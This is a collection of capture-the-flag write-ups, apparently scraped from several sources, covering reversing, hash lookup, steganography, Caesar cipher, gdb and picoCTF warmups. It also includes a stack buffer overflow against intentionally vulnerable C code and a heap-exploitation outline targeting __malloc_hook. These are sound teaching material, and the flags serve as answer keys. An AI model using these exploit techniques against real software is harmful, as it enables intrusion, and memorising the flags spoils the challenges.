```python>>> compareData = [0x10E, 0x112, 0x166, 0x1C6, 0x1CE, 0x0EA, 0x1FE, 0x1E2, 0x156, 0x1AE, 0x156, 0x1E2, 0x0E6, 0x1AE, 0x0EE, 0x156, 0x18A, 0x0FA, 0x1E2, 0x1BA, 0x1A6, 0x0EA, 0x1E2, 0x0E6, 0x156, 0x1E2, 0x0E6, 0x1F2, 0x0E6, 0x1E2, 0x1E6, 0x0E6, 0x1e2, 0x1de]>>> ''.join([chr((i>>2)^0xA) for i in compareData])'INS{y0ur_a_r3a1_h4rdc0r3_r3v3rs3r}'```
# Junkyard
Description: Wall-E got stuck in a big pile of sh*t. To protect him from feeling too bad, its software issued an emergency lock down. Sadly, the software had a conscience and its curiosity caused him to take a glance at the pervasive filth. The filth glanced back, and then...
Please free Wall-E. The software was invented by advanced beings, so maybe it is way over your head. Please skill up fast though, Wall-E cannot wait for too long. To unlock it, use the login "73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81" and the correct password. Junkyard is a 64bit Linux binary that takes two additional command line parameters, a username and a password.After doing some calculations it then prints out a message depending on the input and if the input matches some internal criteria it decrypts the flag with a key based on parts of the input.
## Solution
After reversing the function that takes the username and password as input it turn out that the internal flag decryption key is only based on two characters of the password.
Only the 1st and the 42th character influence the generated key and the amount of possible combination is further limited by the 5th to 8th character of the generated key in hex format having to match "7303".
```def calculate(givenName, givenPassword): processedName = addPrimePadding(givenName, len(givenName), 0x40) processedPassword = addPrimePadding(givenPassword, len(givenPassword), 0x40)
preValue = ord(processedPassword[0]) - 0x30 mapValue = preValue + mapping[ord(processedPassword[0x2A])] + 0x27A
assert 892360 == calculateUnionHash(processedName, processedName) # as name is constant this should be constant as well unionHash = mapValue + 892360 #calculateUnionHash(processedName, processedName) loopVar1 = mapping[0x9B - ord(processedPassword[0])] + unionHash key = [ord(c) for c in ("%lu" % loopVar1)[0:0x13]] key += ([0] * (0x10-len(key)))
AtoSArray = range(0x41,0x54) currentLength = 0 firstMapping = loopVar1
# calculate how many characters the %lu already takes while loopVar1 != 0 and currentLength <= 15: loopVar1 = loopVar1 // 10 currentLength += 1 loopVar2 = firstMapping while loopVar2 != 0 and currentLength <= 15: index = loopVar2%10 loopVar2 = loopVar2//10 key[currentLength] = AtoSArray[index] currentLength += 1
while currentLength <= 15: key[currentLength] = 0x61 currentLength += 1
keyHexString = ''.join(["%02x" % i for i in key])
return keyHexString[5:9] == "7303"```
Trying all possible combinations in my python script with those constrains results in less than 60 inputs
```100000000000000000000000000000000000000000B0 X200000000000000000000000000000000000000000C0 <-...```
The first one results in the binary crashing because of a failed decryption. But already the second one decrypts the flag correctly.
./junkyard 73FF9B24EF8DE48C346D93FADCEE01151B0A1644BC81 200000000000000000000000000000000000000000C0 Computing stuff... INS{Ev3ryb0dy_go0d?PleNty_oF_sl4v3s_FoR_My_r0bot_Col0ny?} Well, stop wasting any more of your time and submit the flag... |
# alphabet
## The task:
If you know your keyboard, you know the flag[submit_the_flag_that_is_here.7z](https://github.com/c00c00r00c00/writeups/raw/master/FireShell%20CTF%202019/alphabet/submit_the_flag_that_is_here.7z)
## solutionLet's unarchive the file:```7z x submit_the_flag_that_is_here.7z```
We've got the `*.txt` file with the following content:
```$ head -c 234 submit_the_flag_that_is_here.txt72dfcfb0c470ac255cde83fb8fe38de8a128188e03ea5ba5b2a93adbea1062fa 65c74c15a686187bb6bbf9958f494fc6b80068034a659a9ad44991b08c58f2d2 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 3f79bb7b435b05321651daefd374cdc681dc06f```
By googling first 'word' we've got that it's sha256 of `L`:
There are also 'words' by 32 chars length. By googling them we've got that it's md5 of one of the ASCII's chars.
Okay, google, but we are too lazy to do it manualy.
Let's generate sha256 and md5 for alphabet and special chars:```use strict;use warnings;use feature 'say';use Digest::SHA qw(sha256_hex);use Digest::MD5 qw(md5_hex);
my $file = 'submit_the_flag_that_is_here.txt';open(my $fh, '<:encoding(UTF-8)', $file) or die "Could not open file '$file' $!";
my $str;$str = <$fh>;chomp $str;
my @chars=("a".."z","A".."Z",0..9,qw(_ , . - { } [ ] ! @ # $ % ^ & * : ; ' "),"not found");
my %md5;my %sha256;
for(my $i=0; $i<=$#chars; $i++){ $md5{md5_hex($chars[$i])} = $i; $sha256{sha256_hex($chars[$i])} = $i;}
for my $hash (split / /, $str) { my $ind = -1; $ind = $md5{$hash} if exists $md5{$hash}; $ind = $sha256{$hash} if exists $sha256{$hash}; my $res = $chars[$ind]; print $res;}```
By converting hashes into chars we've got the following text:```$ perl solution.pl | head -c 123
Lorem_ipsum_dolor_sit_amet,_consectetur_adipiscing_elit._Nunc_massa_risus,_bibendum_eu_urna_sit_amet,_venenatis_convallis_e```
It is dummy text of the printing and typesetting industry.
We know the format of flag so let's check this text for a flag:```$ perl solution.pl | perl -nE 'say $1 if /(F#{\w+})/'
F#{Y3aH_Y0u_kN0w_mD5_4Nd_Sh4256}``` |
[Original writeup.](https://github.com/StroppaFR/CTF-Writeups/blob/master/2019/Evlz-CTF-2019/Bad-Compression.md)
The file contains a python script which seems to execute some kind of compression on an input string.
We are also given the compressed flag:> 100001000100110000000100
and the SHA-256 of the complete flag:> e67753ef818688790288702b0592a46c390b695a732e1b9fec47a14e2f6f25ae
The algorithm uses a **drop** function that removes a character from a string:
def drop(b,m): return(b[:m]+b[(m+1):])And a **shift** function that shifts the end of a string to the start:
def shift(b, i): return(b[i:] + b[:i])We can easily revert the **shift** function as well as the algorithm loop (by noticing that l is always equal to i - 1) but the **drop** function loses information.
def unshift(b,i): return b[len(b)-i:]+b[:len(b)-i] def undrop(b,i): return b[:i]+'?'+b[i:] b='100001000100110000000100' i = len(b) + 1 l = i - 1 while(i>1): i-=1 l=l+1 b=undrop(unshift(b,i),l%i) print b
We can deduce that any string matching "????00?0?0?1000????????1001?1?00??00?0?00?1001??" could be the input flag. The length of that string is divisible by 8 so it's probably 6 ascii characters, which means we are looking for evlz{xxxxxx}ctf.
Fortunately we have the SHA-256 of the flag so now we can just bruteforce the 2^21=2,097,152 possibilities and match the hash.> evlz{20o8@d}ctf |
This challenge contains a `heap overflow` vulnerability. Lesson learned is that if the chunk being allocated is `MMAPED`, the content will not be zero out when using `calloc`. So, by using the `overflow` vulnerability, we can set `IS_MMAPED` bit of the target chunk in order to leak a libc address, and then launch the `fastbin attack` in order to overwrite `__malloc_hook`. This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` protections. |
# *Forensics Warmup 2*
## Information| Points |Category | Level||--|--|--|| 50 | Forensics |Easy |
## Challenge
> Hmm for some reason I can't open this [PNG](https://2018shell.picoctf.com/static/1e9d081292d7bf0fc19c5dc43fc7bfc2/flag.png)? Any ideas?
### Hint> - How do operating systems know what kind of file it is? (It's not just the ending!> - Make sure to submit the flag as picoCTF{XXXXX}
## Solution
Let's download the file, we can see it's extension name is png, but if we try to open the filewe got an error:
> Fatal error reading PNG image file: Not a PNG file
so if it's not a PNG file what is it?let's use a terminal command to check it -
Open terminal -> move to the folder of the file (by cd) -*> file flag.png
**file** - command that show us information about the file.the information we get back is:
> flag.png: JPEG image data, JFIF standard 1.01, resolution (DPI),> density 75x75, segment length 16, baseline, precision 8, 909x190, frames 3
so it's a JPEG file and not PNG, we want to rename the extension of the file to JPEGgo back to the terminal -*> mv flag.png flag.jpeg
**mv** - command that move files from path to path and can also be used for rename a file## Flag> `picoCTF{extensions_are_a_lie}`
|
# *Caesar cipher 1*## Information| Points |Category | Level||--|--|--|| 150 | Cryptography |Easy |
## Challenge
> This is one of the older ciphers in the books, can you decrypt the [message](https://2018shell.picoctf.com/static/8b8d9e1fd4c9cd66facc3794d9c69175/ciphertext)? You can find the ciphertext in /problems/caesar-cipher-1_2_73ab1c3e92ea50396ad143ca48039b86 on the shell server
### Hint> caesar cipher [tutorial](https://learncryptography.com/classical-encryption/caesar-cipher)## SolutionSo the ciphertext we got is:
picoCTF{payzgmuujurjigkygxiovnkxlcgihubb}
we need to decrypt this, and all we know that the encryption is **Caesar cipher**. So after searching it in google I found that ROT13 we [discuss earlier](https://github.com/zomry1/picoCTF_2018_Writeup/tree/master/Cryptography/Crypto%20Warmup%202) it's a private case of Caesar cipher when the key is 13. In Caesar cipher the key can be between 0 to 25 and for each letter we replace each letter with the key'th letter after it. In more formal representation the encryption is: 
**x** - the letter we want to encrypt **n** - the key **En(x)** - the ciphertext for n and x And the decryption is just the reverse of this operation:  So I wrote a python script to try each valid key value for the ciphertext we got: ```python
#For comments on this function look at "Crypto Warmup 2" challengedef decryptor(key, ciphertext): plaintext = "" for c in ciphertext: newChar = ord(c)-key if newChar < ord("a"): newChar = newChar + 26 plaintext += chr(newChar) return plaintext
ciphertext = "payzgmuujurjigkygxiovnkxlcgihubb"#For each valid key valuefor i in range(1,26): plaintext = decryptor(i,ciphertext) print "key is: ", i ,"text is: ", plaintext ```
*The results:* >key is: 1 text is: ozxyflttitqihfjxfwhnumjwkbfhgtaa >key is: 2 text is: nywxeksshsphgeiwevgmtlivjaegfszz >key is: 3 text is: mxvwdjrrgrogfdhvduflskhuizdferyy >key is: 4 text is: lwuvciqqfqnfecguctekrjgthycedqxx >key is: 5 text is: kvtubhppepmedbftbsdjqifsgxbdcpww >**key is: 6 text is: justagoodoldcaesarcipherfwacbovv** >key is: 7 text is: itrszfnncnkcbzdrzqbhogdqevzbanuu >key is: 8 text is: hsqryemmbmjbaycqypagnfcpduyazmtt >key is: 9 text is: grpqxdllaliazxbpxozfmeboctxzylss >key is: 10 text is: fqopwckkzkhzywaownyeldanbswyxkrr >key is: 11 text is: epnovbjjyjgyxvznvmxdkczmarvxwjqq >key is: 12 text is: domnuaiixifxwuymulwcjbylzquwvipp >key is: 13 text is: cnlmtzhhwhewvtxltkvbiaxkyptvuhoo >key is: 14 text is: bmklsyggvgdvuswksjuahzwjxosutgnn >key is: 15 text is: aljkrxffufcutrvjritzgyviwnrtsfmm >key is: 16 text is: zkijqweetebtsquiqhsyfxuhvmqsrell >key is: 17 text is: yjhipvddsdasrpthpgrxewtgulprqdkk >key is: 18 text is: xighouccrczrqosgofqwdvsftkoqpcjj >key is: 19 text is: whfgntbbqbyqpnrfnepvcuresjnpobii >key is: 20 text is: vgefmsaapaxpomqemdoubtqdrimonahh >key is: 21 text is: ufdelrzzozwonlpdlcntaspcqhlnmzgg >key is: 22 text is: tecdkqyynyvnmkockbmszrobpgkmlyff >key is: 23 text is: sdbcjpxxmxumljnbjalryqnaofjlkxee >key is: 24 text is: rcabiowwlwtlkimaizkqxpmzneikjwdd >key is: 25 text is: qbzahnvvkvskjhlzhyjpwolymdhjivcc
And as we can see, only the key 6 has a meaning so it's the flag## Flag> `picoCTF{justagoodoldcaesarcipherfwacbovv}`
|
# Quals Saudi and Oman National Cyber Security CTF 2019 – Try to see me
* **Category:** Digital Forensics* **Points:** 100
## Challenge
> you'll need your glasses or good pair of eyes and some brainzzz.>> [https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/final](https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/final)
## Solution
This is a steganography challenge.
Analyzing the [file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Quals%20Saudi%20and%20Oman%20National%20Cyber%20Security%20CTF%202019/Try%20to%20see%20me/final) with an hexadecimal editor, it will seem like a BMP file without the `BM` file signature. It is sufficient to modify the first two bytes with `BM` signature and to rename it with `.bmp` extension to open the image.
The image contains a message: *"Can u c me? I bet u can't!"*, and on the right something is written with a very light color.
```3c034c8ecf5121fc23612ef9d71756b0```
That is: `3c034c8ecf5121fc23612ef9d71756b0`. This is not the flag, but the MD5 hash of: `potatoman`.
Trying with *steghide*, you will discover that something is hidden in the image, without filename and protected with the previous hash.
```$ steghide --info final.bmp -p 3c034c8ecf5121fc23612ef9d71756b0"final.bmp": format: Windows 3.x bitmap capacity: 19.6 KB embedded data: size: 32.0 Byte encrypted: rijndael-128, cbc compressed: yes```
You can use *steghide* to extract it.
```$ steghide --extract -sf final.bmp -p 3c034c8ecf5121fc23612ef9d71756b0 -xf final.outwrote extracted data to "final.out".```
The extracted file is a text file with the flag.
```d78e573bcae3899be1751e414c17b84c``` |
# Forensics Warmup 1Points: 50
## CategoryForensics
## Question>Can you unzip this [file](files/flag.zip) for me and retreive the flag?
### Hint>Make sure to submit the flag as picoCTF{XXXXX}
## SolutionExtract the zipped file provided by doing `unzip flag.zip`.
The extracted file contain _flag.jpg_. Open image in an image viewer to get the flag.
### Flag`picoCTF{welcome_to_forensics}` |
# Forensics Warmup 2Points: 50
## CategoryForensics
## Question>Hmm for some reason I can't open this [PNG](files/flag.png)? Any ideas?
### Hint>How do operating systems know what kind of file it is? (It's not just the ending!>>Make sure to submit the flag as picoCTF{XXXXX}
## SolutionDo `file flag.png` to find the actual filetype.
However, most image viewer software should be able to open the _.png_ file without any problem.
If this doesn't work change the file extension to _.jpg_
### Flag`picoCTF{extensions_are_a_lie}` |
# learn gdbPoints: 300
## CategoryGeneral Skills
## Question>Using a debugging tool will be extremely useful on your missions. Can you run this [program](files/run) in gdb and find the flag? You can find the file in /problems/learn-gdb_0_716957192e537ac769f0975c74b34194 on the shell server.
### Hint>Try setting breakpoints in gdb>>Try and find a point in the program after the flag has been read into memory to break on>>Where is the flag being written in memory?
## SolutionOpening the binary and studying it, we can see that there is the _decrypt_flag_ function. Disassemble it and break just before it prints the break-line.
After it decrypts, print the flag as string. We can use printf and cast the _flag_buf_ variable into _char *_ by doing `printf "%s", (char *) flag_buf`.
```asm(gdb) disas decrypt_flag......0x0000000000400878 <+242>:0x0000000000400896 <+272>: mov rdx,QWORD PTR [rip+0x200b4b] # 0x6013e8 <flag_buf>0x000000000040089d <+279>: mov eax,DWORD PTR [rbp-0x20]0x00000000004008a0 <+282>: cdqe0x00000000004008a2 <+284>: add rax,rdx0x00000000004008a5 <+287>: mov BYTE PTR [rax],0x00x00000000004008a8 <+290>: mov edi,0xa0x00000000004008ad <+295>: call 0x4005f0 <putchar@plt> ; Prints break-line......(gdb) b *0x00000000004008a8Breakpoint 1 at 0x4008a8(gdb) rStarting program: run Decrypting the Flag into global variable 'flag_buf'.....................................(gdb) printf "%s", (char*) flag_bufpicoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}```
### Flag`picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}` |
# buffer overflow 0Points: 150
## CategoryBinary Exploitation
## Question>Let's start off simple, can you overflow the right buffer in this [program](files/vuln) to get the flag? You can also find it in /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d on the shell server. [Source](files/vuln.c).
### Hint>How can you trigger the flag to print?>>If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
## SolutionWe can try pwning the binary locally first. Firstly, create a file _flag.txt_ and add some contents into it.
Do a sample run of the program.
```$ ./vuln This program takes 1 argument.```
Ok, now we try with an argument
```$ ./vuln AAAAThanks! Received: AAAA```
Seems like it's redirecting the input into output. Let's take a look at the source code.
```c// Imports here...// Define flag size here...void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1);}
void vuln(char *input){ char buf[16]; strcpy(buf, input);}
int main(int argc, char **argv){ // Reading flag here... signal(SIGSEGV, sigsegv_handler); // gid settings here... if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0;}```
It looks like the `signal(SIGSEGV, sigsegv_handler)` redirects execution to `sigsegv_handler()` and prints the flag.
In `vuln()`, there is no boundary checking, so even though there is only space for 16 bytes, it `strcpy()` will keep inserting bytes into `buf`.
We can try running the program again, but this time, with a lot more characters.
```$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAApicoCTF{sample_flag}```
We did it locally! It takes 28 or more bytes to leak out the flag.
All we have to do is send it to the webshell.
```$ /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAApicoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}```
Working solution [solve.py](solution/solve.py)
### Flag`picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}` |
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